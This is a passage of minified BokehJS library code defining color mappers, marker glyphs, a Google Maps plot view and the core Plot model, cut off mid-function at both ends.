t=n.__assign({},e.prototype.get_constrained_variables.call(this),{on_edge_align_top:this._top,on_edge_align_bottom:this._height_minus_bottom,on_edge_align_left:this._left,on_edge_align_right:this._width_minus_right,box_cell_align_top:this._top,box_cell_align_bottom:this._height_minus_bottom,box_cell_align_left:this._left,box_cell_align_right:this._width_minus_right,box_equal_size_top:this._top,box_equal_size_bottom:this._height_minus_bottom});return\\\"fixed\\\"!=this.sizing_mode&&(t.box_equal_size_left=this._left,t.box_equal_size_right=this._width_minus_right),t},t.prototype.get_layoutable_children=function(){return this.children},t}(s.LayoutDOM);(i.WidgetBox=l).initClass()},function(t,e,i){var n=t(391),o=t(162),r=t(164),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalColorMapper\\\",this.define({factors:[s.Array],start:[s.Number,0],end:[s.Number]})},t.prototype._v_compute=function(t,e,i,n){var r=n.nan_color;o.cat_v_compute(t,this.factors,i,e,this.start,this.end,r)},t}(r.ColorMapper);(i.CategoricalColorMapper=a).initClass()},function(t,e,i){var _=t(21),p=t(44);function d(t,e){if(t.length!=e.length)return!1;for(var i=0,n=t.length;i<n;i++)if(t[i]!==e[i])return!1;return!0}i._cat_equals=d,i.cat_v_compute=function(o,s,a,l,h,u,c){for(var t=function(t,e){var i=o[t],n=void 0;p.isString(i)?n=s.indexOf(i):(null!=h?i=null!=u?i.slice(h,u):i.slice(h):null!=u&&(i=i.slice(0,u)),n=1==i.length?s.indexOf(i[0]):_.findIndex(s,function(t){return d(t,i)}));var r=void 0;r=n<0||n>=a.length?c:a[n],l[t]=r},e=0,i=o.length;e<i;e++)t(e,i)}},function(t,e,i){var n=t(391),r=t(162),o=t(169),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalMarkerMapper\\\",this.define({factors:[s.Array],markers:[s.Array],start:[s.Number,0],end:[s.Number],default_value:[s.String,\\\"circle\\\"]})},t.prototype.v_compute=function(t){var e=new Array(t.length);return r.cat_v_compute(t,this.factors,this.markers,e,this.start,this.end,this.default_value),e},t}(o.Mapper);(i.CategoricalMarkerMapper=a).initClass()},function(t,e,i){var n=t(391),r=t(169),o=t(15),s=t(27),a=t(28);function l(t){return\\\"#\\\"!=t[0]&&(t=s.color2hex(t)),9!=t.length&&(t+=\\\"ff\\\"),parseInt(t.slice(1),16)}function h(t){for(var e=new Uint32Array(t.length),i=0,n=t.length;i<n;i++)e[i]=l(t[i]);return e}function u(t){if(a.is_little_endian)for(var e=new DataView(t.buffer),i=0,n=t.length;i<n;i++)e.setUint32(4*i,t[i]);return new Uint8Array(t.buffer)}i._convert_color=l,i._convert_palette=h,i._uint32_to_rgba=u;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ColorMapper\\\",this.define({palette:[o.Any],nan_color:[o.Color,\\\"gray\\\"]})},t.prototype.v_compute=function(t){var e=new Array(t.length);return this._v_compute(t,e,this.palette,this._colors(function(t){return t})),e},Object.defineProperty(t.prototype,\\\"rgba_mapper\\\",{get:function(){var i=this,n=h(this.palette),r=this._colors(l);return{v_compute:function(t){var e=new Uint32Array(t.length);return i._v_compute(t,e,n,r),u(e)}}},enumerable:!0,configurable:!0}),t.prototype._colors=function(t){return{nan_color:t(this.nan_color)}},t}(r.Mapper);(i.ColorMapper=c).initClass()},function(t,e,i){var n=t(391),r=t(164),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousColorMapper\\\",this.define({high:[o.Number],low:[o.Number],high_color:[o.Color],low_color:[o.Color]})},t.prototype._colors=function(t){return n.__assign({},e.prototype._colors.call(this,t),{low_color:null!=this.low_color?t(this.low_color):void 0,high_color:null!=this.high_color?t(this.high_color):void 0})},t}(r.ColorMapper);(i.ContinuousColorMapper=s).initClass()},function(t,e,i){var n=t(161);i.CategoricalColorMapper=n.CategoricalColorMapper;var r=t(163);i.CategoricalMarkerMapper=r.CategoricalMarkerMapper;var o=t(165);i.ContinuousColorMapper=o.ContinuousColorMapper;var s=t(164);i.ColorMapper=s.ColorMapper;var a=t(167);i.LinearColorMapper=a.LinearColorMapper;var l=t(168);i.LogColorMapper=l.LogColorMapper},function(t,e,i){var n=t(391),r=t(165),m=t(22),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearColorMapper\\\"},t.prototype._v_compute=function(t,e,i,n){for(var r=n.nan_color,o=n.low_color,s=n.high_color,a=null!=this.low?this.low:m.min(t),l=null!=this.high?this.high:m.max(t),h=i.length-1,u=1/(l-a),c=1/i.length,_=0,p=t.length;_<p;_++){var d=t[_];if(isNaN(d))e[_]=r;else if(d!=l){var f=(d-a)*u,v=Math.floor(f/c);e[_]=v<0?null!=o?o:i[0]:h<v?null!=s?s:i[h]:i[v]}else e[_]=i[h]}},t}(r.ContinuousColorMapper);(i.LinearColorMapper=o).initClass()},function(t,e,i){var n=t(391),r=t(165),m=t(22),g=null!=Math.log1p?Math.log1p:function(t){return Math.log(1+t)},o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogColorMapper\\\"},t.prototype._v_compute=function(t,e,i,n){for(var r=n.nan_color,o=n.low_color,s=n.high_color,a=i.length,l=null!=this.low?this.low:m.min(t),h=null!=this.high?this.high:m.max(t),u=a/(g(h)-g(l)),c=i.length-1,_=0,p=t.length;_<p;_++){var d=t[_];if(isNaN(d))e[_]=r;else if(h<d)e[_]=null!=s?s:i[c];else if(d!=h)if(d<l)e[_]=null!=o?o:i[0];else{var f=g(d)-g(l),v=Math.floor(f*u);c<v&&(v=c),e[_]=i[v]}else e[_]=i[c]}},t}(r.ContinuousColorMapper);(i.LogColorMapper=o).initClass()},function(t,e,i){var n=t(391),r=t(279),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Mapper\\\"},t.prototype.compute=function(t){throw new Error(\\\"mapping single values is not supported\\\")},t}(r.Transform);(i.Mapper=o).initClass()},function(t,e,i){var o=t(391),s=t(172),h=Math.sqrt(3);function a(t,e){t.moveTo(-e,e),t.lineTo(e,-e),t.moveTo(-e,-e),t.lineTo(e,e)}function l(t,e){t.moveTo(0,e),t.lineTo(0,-e),t.moveTo(-e,0),t.lineTo(e,0)}function u(t,e){t.moveTo(0,e),t.lineTo(e/1.5,0),t.lineTo(0,-e),t.lineTo(-e/1.5,0),t.closePath()}function c(t,e){var i=e*h,n=i/3;t.moveTo(-e,n),t.lineTo(e,n),t.lineTo(0,n-i),t.closePath()}function n(t,e,i,n,r){var o=.65*i;l(t,i),a(t,o),n.doit&&(n.set_vectorize(t,e),t.stroke())}function r(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function _(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),a(t,i),t.stroke())}function p(t,e,i,n,r){l(t,i),n.doit&&(n.set_vectorize(t,e),t.stroke())}function d(t,e,i,n,r){u(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function f(t,e,i,n,r){u(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function v(t,e,i,n,r){var o,s,a,l;l=h*(a=(s=i)/2),(o=t).moveTo(s,0),o.lineTo(a,-l),o.lineTo(-a,-l),o.lineTo(-s,0),o.lineTo(-a,l),o.lineTo(a,l),o.closePath(),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function m(t,e,i,n,r){t.rotate(Math.PI),c(t,i),t.rotate(-Math.PI),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function g(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function y(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function b(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),a(t,i),t.stroke())}function x(t,e,i,n,r){c(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function w(t,e,i,n,r){var o,s;s=i,(o=t).moveTo(-s,0),o.lineTo(s,0),n.doit&&(n.set_vectorize(t,e),t.stroke())}function k(t,e,i,n,r){a(t,i),n.doit&&(n.set_vectorize(t,e),t.stroke())}function S(i,n){var r=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.initClass=function(){this.prototype._render_one=n},e}(s.MarkerView);r.initClass();var t=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.default_view=r,this.prototype.type=i},e}(s.Marker);return t.initClass(),t}i.Asterisk=S(\\\"Asterisk\\\",n),i.CircleCross=S(\\\"CircleCross\\\",r),i.CircleX=S(\\\"CircleX\\\",_),i.Cross=S(\\\"Cross\\\",p),i.Diamond=S(\\\"Diamond\\\",d),i.DiamondCross=S(\\\"DiamondCross\\\",f),i.Hex=S(\\\"Hex\\\",v),i.InvertedTriangle=S(\\\"InvertedTriangle\\\",m),i.Square=S(\\\"Square\\\",g),i.SquareCross=S(\\\"SquareCross\\\",y),i.SquareX=S(\\\"SquareX\\\",b),i.Triangle=S(\\\"Triangle\\\",x),i.Dash=S(\\\"Dash\\\",w),i.X=S(\\\"X\\\",k),i.marker_funcs={asterisk:n,circle:function(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())},circle_cross:r,circle_x:_,cross:p,diamond:d,diamond_cross:f,hex:v,inverted_triangle:m,square:g,square_cross:y,square_x:b,triangle:x,dash:w,x:k}},function(t,e,i){var n=t(391);n.__exportStar(t(170),i);var r=t(173);i.Scatter=r.Scatter},function(t,e,i){var n=t(391),r=t(146),w=t(9),o=t(15),h=t(21),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._size,s=i._angle,a=0,l=e;a<l.length;a++){var h=l[a];if(!isNaN(n[h]+r[h]+o[h]+s[h])){var u=o[h]/2;t.beginPath(),t.translate(n[h],r[h]),s[h]&&t.rotate(s[h]),this._render_one(t,h,u,this.visuals.line,this.visuals.fill),s[h]&&t.rotate(-s[h]),t.translate(-n[h],-r[h])}}},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.bbox.h_range,e=t.start-this.max_size,i=t.end+this.max_size,n=this.renderer.xscale.r_invert(e,i),r=n[0],o=n[1],s=this.renderer.plot_view.frame.bbox.v_range,a=s.start-this.max_size,l=s.end+this.max_size,h=this.renderer.yscale.r_invert(a,l),u=h[0],c=h[1],_=w.validate_bbox_coords([r,o],[u,c]);return this.index.indices(_)},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=e-this.max_size,r=e+this.max_size,o=this.renderer.xscale.r_invert(n,r),s=o[0],a=o[1],l=i-this.max_size,h=i+this.max_size,u=this.renderer.yscale.r_invert(l,h),c=u[0],_=u[1],p=w.validate_bbox_coords([s,a],[c,_]),d=this.index.indices(p),f=[],v=0,m=d;v<m.length;v++){var g=m[v],y=this._size[g]/2,b=Math.abs(this.sx[g]-e)+Math.abs(this.sy[g]-i);Math.abs(this.sx[g]-e)<=y&&Math.abs(this.sy[g]-i)<=y&&f.push([g,b])}return w.create_hit_test_result_from_hits(f)},e.prototype._hit_span=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.bounds(),u=h.minX,c=h.minY,_=h.maxX,p=h.maxY,d=w.create_empty_hit_test_result();if(\\\"h\\\"==t.direction){o=c,s=p;var f=this.max_size/2,v=a-f,m=a+f;e=this.renderer.xscale.r_invert(v,m),n=e[0],r=e[1]}else{n=u,r=_;var f=this.max_size/2,g=l-f,y=l+f;i=this.renderer.yscale.r_invert(g,y),o=i[0],s=i[1]}var b=w.validate_bbox_coords([n,r],[o,s]),x=this.index.indices(b);return d.indices=x,d},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=w.validate_bbox_coords([s,a],[h,u]),_=w.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype._hit_poly=function(t){for(var e=t.sx,i=t.sy,n=h.range(0,this.sx.length),r=[],o=0,s=n.length;o<s;o++){var a=n[o];w.point_in_poly(this.sx[o],this.sy[o],e,i)&&r.push(a)}var l=w.create_empty_hit_test_result();return l.indices=r,l},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.x1,o=e.y0,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+r)/2;var h=new Array(a);h[i]=(o+s)/2;var u=new Array(a);u[i]=.4*Math.min(Math.abs(r-n),Math.abs(s-o));var c=new Array(a);c[i]=0,this._render(t,[i],{sx:l,sy:h,_size:u,_angle:c})},e}(r.XYGlyphView);i.MarkerView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({size:[o.DistanceSpec,{units:\\\"screen\\\",value:4}],angle:[o.AngleSpec,0]})},t}(r.XYGlyph);(i.Marker=a).initClass()},function(t,e,i){var n=t(391),r=t(172),_=t(170),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._size,s=i._angle,a=i._marker,l=0,h=e;l<h.length;l++){var u=h[l];if(!isNaN(n[u]+r[u]+o[u]+s[u])){var c=o[u]/2;t.beginPath(),t.translate(n[u],r[u]),s[u]&&t.rotate(s[u]),_.marker_funcs[a[u]](t,u,c,this.visuals.line,this.visuals.fill),s[u]&&t.rotate(-s[u]),t.translate(-n[u],-r[u])}}},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.x1,o=e.y0,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+r)/2;var h=new Array(a);h[i]=(o+s)/2;var u=new Array(a);u[i]=.4*Math.min(Math.abs(r-n),Math.abs(s-o));var c=new Array(a);c[i]=0;var _=new Array(a);_[i]=this._marker[i],this._render(t,[i],{sx:l,sy:h,_size:u,_angle:c,_marker:_})},e}(r.MarkerView);i.ScatterView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Scatter\\\",this.prototype.default_view=s,this.define({marker:[o.MarkerSpec,{value:\\\"circle\\\"}]})},t}(r.Marker);(i.Scatter=a).initClass()},function(t,e,i){var n=t(391),r=t(14),o=t(175),s=t(177),a=t(15),l=t(59),h=t(184),u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MapOptions\\\",this.define({lat:[a.Number],lng:[a.Number],zoom:[a.Number,12]})},t}(l.Model);(i.MapOptions=u).initClass();var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapOptions\\\",this.define({map_type:[a.String,\\\"roadmap\\\"],scale_control:[a.Bool,!1],styles:[a.String],tilt:[a.Int,45]})},t}(u);(i.GMapOptions=c).initClass();var _=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(s.PlotView);i.GMapPlotView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapPlot\\\",this.prototype.default_view=_,this.define({map_options:[a.Instance],api_key:[a.String]}),this.override({x_range:function(){return new h.Range1d},y_range:function(){return new h.Range1d}})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.api_key||r.logger.error(\\\"api_key is required. See https://developers.google.com/maps/documentation/javascript/get-api-key for more information on how to obtain your own.\\\")},t.prototype._init_plot_canvas=function(){return new o.GMapPlotCanvas({plot:this})},t}(s.Plot);(i.GMapPlot=p).initClass()},function(t,e,i){var n=t(391),r=t(19),c=t(33),o=t(178),s=new r.Signal0({},\\\"gmaps_ready\\\"),a=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.initialize=function(t){var e=this;this.pause(),a.prototype.initialize.call(this,t),this._tiles_loaded=!1,this.zoom_count=0;var i=this.model.plot.map_options,n=i.zoom,r=i.lat,o=i.lng;this.initial_zoom=n,this.initial_lat=r,this.initial_lng=o,this.canvas_view.map_el.style.position=\\\"absolute\\\",\\\"undefined\\\"!=typeof google&&null!=google.maps||(\\\"undefined\\\"==typeof _bokeh_gmaps_callback&&function(t){_bokeh_gmaps_callback=function(){return s.emit()};var e=document.createElement(\\\"script\\\");e.type=\\\"text/javascript\\\",e.src=\\\"https://maps.googleapis.com/maps/api/js?key=\\\"+t+\\\"&callback=_bokeh_gmaps_callback\\\",document.body.appendChild(e)}(this.model.plot.api_key),s.connect(function(){return e.request_render()})),this.unpause()},t.prototype.update_range=function(t){if(null==t)this.map.setCenter({lat:this.initial_lat,lng:this.initial_lng}),this.map.setOptions({zoom:this.initial_zoom}),a.prototype.update_range.call(this,null);else if(null!=t.sdx||null!=t.sdy)this.map.panBy(t.sdx||0,t.sdy||0),a.prototype.update_range.call(this,t);else if(null!=t.factor){var e=void 0;if(10!==this.zoom_count)return void(this.zoom_count+=1);this.zoom_count=0,this.pause(),a.prototype.update_range.call(this,t),e=t.factor<0?-1:1;var i=this.map.getZoom(),n=i+e;if(2<=n){this.map.setZoom(n);var r=this._get_projected_bounds(),o=r[0],s=r[1];s-o<0&&this.map.setZoom(i)}this.unpause()}this._set_bokeh_ranges()},t.prototype._build_map=function(){var t=this,e=google.maps;this.map_types={satellite:e.MapTypeId.SATELLITE,terrain:e.MapTypeId.TERRAIN,roadmap:e.MapTypeId.ROADMAP,hybrid:e.MapTypeId.HYBRID};var i=this.model.plot.map_options,n={center:new e.LatLng(i.lat,i.lng),zoom:i.zoom,disableDefaultUI:!0,mapTypeId:this.map_types[i.map_type],scaleControl:i.scale_control,tilt:i.tilt};null!=i.styles&&(n.styles=JSON.parse(i.styles)),this.map=new e.Map(this.canvas_view.map_el,n),e.event.addListener(this.map,\\\"idle\\\",function(){return t._set_bokeh_ranges()}),e.event.addListener(this.map,\\\"bounds_changed\\\",function(){return t._set_bokeh_ranges()}),e.event.addListenerOnce(this.map,\\\"tilesloaded\\\",function(){return t._render_finished()}),this.connect(this.model.plot.properties.map_options.change,function(){return t._update_options()}),this.connect(this.model.plot.map_options.properties.styles.change,function(){return t._update_styles()}),this.connect(this.model.plot.map_options.properties.lat.change,function(){return t._update_center(\\\"lat\\\")}),this.connect(this.model.plot.map_options.properties.lng.change,function(){return t._update_center(\\\"lng\\\")}),this.connect(this.model.plot.map_options.properties.zoom.change,function(){return t._update_zoom()}),this.connect(this.model.plot.map_options.properties.map_type.change,function(){return t._update_map_type()}),this.connect(this.model.plot.map_options.properties.scale_control.change,function(){return t._update_scale_control()}),this.connect(this.model.plot.map_options.properties.tilt.change,function(){return t._update_tilt()})},t.prototype._render_finished=function(){this._tiles_loaded=!0,this.notify_finished()},t.prototype.has_finished=function(){return a.prototype.has_finished.call(this)&&!0===this._tiles_loaded},t.prototype._get_latlon_bounds=function(){var t=this.map.getBounds(),e=t.getNorthEast(),i=t.getSouthWest(),n=i.lng(),r=e.lng(),o=i.lat(),s=e.lat();return[n,r,o,s]},t.prototype._get_projected_bounds=function(){var t=this._get_latlon_bounds(),e=t[0],i=t[1],n=t[2],r=t[3],o=c.wgs84_mercator.forward([e,n]),s=o[0],a=o[1],l=c.wgs84_mercator.forward([i,r]),h=l[0],u=l[1];return[s,h,a,u]},t.prototype._set_bokeh_ranges=function(){var t=this._get_projected_bounds(),e=t[0],i=t[1],n=t[2],r=t[3];this.frame.x_range.setv({start:e,end:i}),this.frame.y_range.setv({start:n,end:r})},t.prototype._update_center=function(t){var e=this.map.getCenter().toJSON();e[t]=this.model.plot.map_options[t],this.map.setCenter(e),this._set_bokeh_ranges()},t.prototype._update_map_type=function(){this.map.setOptions({mapTypeId:this.map_types[this.model.plot.map_options.map_type]})},t.prototype._update_scale_control=function(){this.map.setOptions({scaleControl:this.model.plot.map_options.scale_control})},t.prototype._update_tilt=function(){this.map.setOptions({tilt:this.model.plot.map_options.tilt})},t.prototype._update_options=function(){this._update_styles(),this._update_center(\\\"lat\\\"),this._update_center(\\\"lng\\\"),this._update_zoom(),this._update_map_type()},t.prototype._update_styles=function(){this.map.setOptions({styles:JSON.parse(this.model.plot.map_options.styles)})},t.prototype._update_zoom=function(){this.map.setOptions({zoom:this.model.plot.map_options.zoom}),this._set_bokeh_ranges()},t.prototype._map_hook=function(t,e){var i=e[0],n=e[1],r=e[2],o=e[3];this.canvas_view.map_el.style.top=n+\\\"px\\\",this.canvas_view.map_el.style.left=i+\\\"px\\\",this.canvas_view.map_el.style.width=r+\\\"px\\\",this.canvas_view.map_el.style.height=o+\\\"px\\\",null==this.map&&\\\"undefined\\\"!=typeof google&&null!=google.maps&&this._build_map()},t.prototype._paint_empty=function(t,e){var i=this.canvas._width.value,n=this.canvas._height.value,r=e[0],o=e[1],s=e[2],a=e[3];t.clearRect(0,0,i,n),t.beginPath(),t.moveTo(0,0),t.lineTo(0,n),t.lineTo(i,n),t.lineTo(i,0),t.lineTo(0,0),t.moveTo(r,o),t.lineTo(r+s,o),t.lineTo(r+s,o+a),t.lineTo(r,o+a),t.lineTo(r,o),t.closePath(),t.fillStyle=this.model.plot.border_fill_color,t.fill()},t}(o.PlotCanvasView);i.GMapPlotCanvasView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapPlotCanvas\\\",this.prototype.default_view=a},t.prototype.initialize=function(){this.use_map=!0,e.prototype.initialize.call(this)},t}(o.PlotCanvas);(i.GMapPlotCanvas=l).initClass()},function(t,e,i){var n=t(174);i.MapOptions=n.MapOptions;var r=t(174);i.GMapOptions=r.GMapOptions;var o=t(174);i.GMapPlot=o.GMapPlot;var s=t(175);i.GMapPlotCanvas=s.GMapPlotCanvas;var a=t(177);i.Plot=a.Plot;var l=t(178);i.PlotCanvas=l.PlotCanvas},function(t,e,i){var o=t(391),n=t(13),r=t(14),s=t(15),f=t(19),a=t(21),v=t(32),m=t(44),l=t(157),h=t(75),u=t(192),c=t(268),_=t(76),p=t(178),g=t(200),y=t(185),b=t(3),x=t(180),w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.connect_signals=function(){t.prototype.connect_signals.call(this),this.connect(this.model.properties.title.change,function(){return r.logger.warn(\\\"Title object cannot be replaced. Try changing properties on title to update it after initialization.\\\")})},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-plot-layout\\\")},e.prototype.get_height=function(){return this.model._width.value/this.model.get_aspect_ratio()},e.prototype.get_width=function(){return this.model._height.value*this.model.get_aspect_ratio()},e.prototype.save=function(t){this.plot_canvas_view.save(t)},Object.defineProperty(e.prototype,\\\"plot_canvas_view\\\",{get:function(){return this.child_views[this.model.plot_canvas.id]},enumerable:!0,configurable:!0}),e}(l.LayoutDOMView);i.PlotView=w;var d=function(d){function t(t){return d.call(this,t)||this}return o.__extends(t,d),t.initClass=function(){this.prototype.type=\\\"Plot\\\",this.prototype.default_view=w,this.mixins([\\\"line:outline_\\\",\\\"fill:background_\\\",\\\"fill:border_\\\"]),this.define({toolbar:[s.Instance,function(){return new c.Toolbar}],toolbar_location:[s.Location,\\\"right\\\"],toolbar_sticky:[s.Boolean,!0],plot_width:[s.Number,600],plot_height:[s.Number,600],title:[s.Any,function(){return new h.Title({text:\\\"\\\"})}],title_location:[s.Location,\\\"above\\\"],h_symmetry:[s.Bool,!0],v_symmetry:[s.Bool,!1],above:[s.Array,[]],below:[s.Array,[]],left:[s.Array,[]],right:[s.Array,[]],renderers:[s.Array,[]],x_range:[s.Instance,function(){return new x.DataRange1d}],extra_x_ranges:[s.Any,{}],y_range:[s.Instance,function(){return new x.DataRange1d}],extra_y_ranges:[s.Any,{}],x_scale:[s.Instance,function(){return new u.LinearScale}],y_scale:[s.Instance,function(){return new u.LinearScale}],lod_factor:[s.Number,10],lod_interval:[s.Number,300],lod_threshold:[s.Number,2e3],lod_timeout:[s.Number,500],hidpi:[s.Bool,!0],output_backend:[s.OutputBackend,\\\"canvas\\\"],min_border:[s.Number,5],min_border_top:[s.Number,null],min_border_left:[s.Number,null],min_border_bottom:[s.Number,null],min_border_right:[s.Number,null],inner_width:[s.Number],inner_height:[s.Number],layout_width:[s.Number],layout_height:[s.Number],match_aspect:[s.Bool,!1],aspect_scale:[s.Number,1]}),this.override({outline_line_color:\\\"#e5e5e5\\\",border_fill_color:\\\"#ffffff\\\",background_fill_color:\\\"#ffffff\\\"}),b.register_with_event(b.UIEvent,this)},t.prototype.initialize=function(){d.prototype.initialize.call(this),this.reset=new f.Signal0(this,\\\"reset\\\");for(var t=0,e=v.values(this.extra_x_ranges).concat(this.x_range);t<e.length;t++){var i=e[t],n=i.plots;m.isArray(n)&&(n=n.concat(this),i.setv({plots:n},{silent:!0}))}for(var r=0,o=v.values(this.extra_y_ranges).concat(this.y_range);r<o.length;r++){var s=o[r],n=s.plots;m.isArray(n)&&(n=n.concat(this),s.setv({plots:n},{silent:!0}))}null!=this.min_border&&(null==this.min_border_top&&(this.min_border_top=this.min_border),null==this.min_border_bottom&&(this.min_border_bottom=this.min_border),null==this.min_border_left&&(this.min_border_left=this.min_border),null==this.min_border_right&&(this.min_border_right=this.min_border));for(var a=0,l=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"];a<l.length;a++)for(var h=l[a],u=this.getv(h),c=0,_=u;c<_.length;c++){var p=_[c];p.add_panel(h)}this._init_title_panel(),this._init_toolbar_panel(),this._plot_canvas=this._init_plot_canvas(),this.plot_canvas.toolbar=this.toolbar,null==this.width&&(this.width=this.plot_width),null==this.height&&(this.height=this.plot_height)},t.prototype._init_plot_canvas=function(){return new p.PlotCanvas({plot:this})},t.prototype._init_title_panel=function(){if(null!=this.title){var t=m.isString(this.title)?new h.Title({text:this.title}):this.title;this.add_layout(t,this.title_location)}},t.prototype._init_toolbar_panel=function(){var e=this,t=a.find(this.renderers,function(t){return t instanceof _.ToolbarPanel&&a.includes(t.tags,e.id)});switch(null!=t&&this.remove_layout(t),this.toolbar_location){case\\\"left\\\":case\\\"right\\\":case\\\"above\\\":case\\\"below\\\":if(t=new _.ToolbarPanel({toolbar:this.toolbar,tags:[this.id]}),this.toolbar.toolbar_location=this.toolbar_location,this.toolbar_sticky){var i=this.getv(this.toolbar_location),n=a.find(i,function(t){return t instanceof h.Title});if(null!=n)return t.set_panel(n.panel),void this.add_renderers(t)}this.add_layout(t,this.toolbar_location)}},t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),this.connect(this.properties.toolbar_location.change,function(){return t._init_toolbar_panel()})},Object.defineProperty(t.prototype,\\\"plot_canvas\\\",{get:function(){return this._plot_canvas},enumerable:!0,configurable:!0}),t.prototype._doc_attached=function(){this.plot_canvas.attach_document(this.document),d.prototype._doc_attached.call(this)},t.prototype.add_renderers=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var i=this.renderers;i=i.concat(t),this.renderers=i},t.prototype.add_layout=function(t,e){if(void 0===e&&(e=\\\"center\\\"),null!=t.props.plot&&(t.plot=this),\\\"center\\\"!=e){var i=this.getv(e);i.push(t),t.add_panel(e)}this.add_renderers(t)},t.prototype.remove_layout=function(e){var t=function(t){a.removeBy(t,function(t){return t==e})};t(this.left),t(this.right),t(this.above),t(this.below),t(this.renderers)},t.prototype.add_glyph=function(t,e,i){void 0===e&&(e=new g.ColumnDataSource),void 0===i&&(i={});var n=o.__assign({},i,{data_source:e,glyph:t}),r=new y.GlyphRenderer(n);return this.add_renderers(r),r},t.prototype.add_tools=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];for(var i=0,n=t;i<n.length;i++){var r=n[i];null!=r.overlay&&this.add_renderers(r.overlay)}this.toolbar.tools=this.toolbar.tools.concat(t)},t.prototype.get_layoutable_children=function(){return[this.plot_canvas]},t.prototype.get_constraints=function(){var t=d.prototype.get_constraints.call(this);return t.push(n.EQ(this._width,[-1,this.plot_canvas._width])),t.push(n.EQ(this._height,[-1,this.plot_canvas._height])),t},t.prototype.get_constrained_variables=function(){var 